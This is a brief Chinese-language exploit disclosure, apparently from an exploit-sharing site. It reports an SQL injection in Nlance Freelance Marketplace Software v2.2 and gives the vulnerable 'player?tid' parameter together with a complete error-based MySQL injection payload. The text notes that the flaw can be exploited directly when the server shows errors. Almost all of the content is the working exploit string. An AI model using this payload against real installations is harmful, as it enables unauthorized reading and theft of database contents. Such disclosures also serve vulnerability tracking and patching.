Nlance - Freelance Marketplace Software v2.2 - SQL Injection
Nlance - Freelance Marketplace Software v2.2 ,存在参数过滤不严,导致了sql注入漏洞,如果对方服务器开启了错误显示,可直接利用
Google Dork:
N/A
注入点:
http://localhost/[PATH]/player?tid=[SQL]
payload:
/player?tid=123' OR (SELECT 1490 FROM(SELECT COUNT(*),CONCAT(md5(233),0x7162627071,(SELECT (ELT(1490=1490,1))),0x7162767671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- tpTL
测试截图:

暂无评论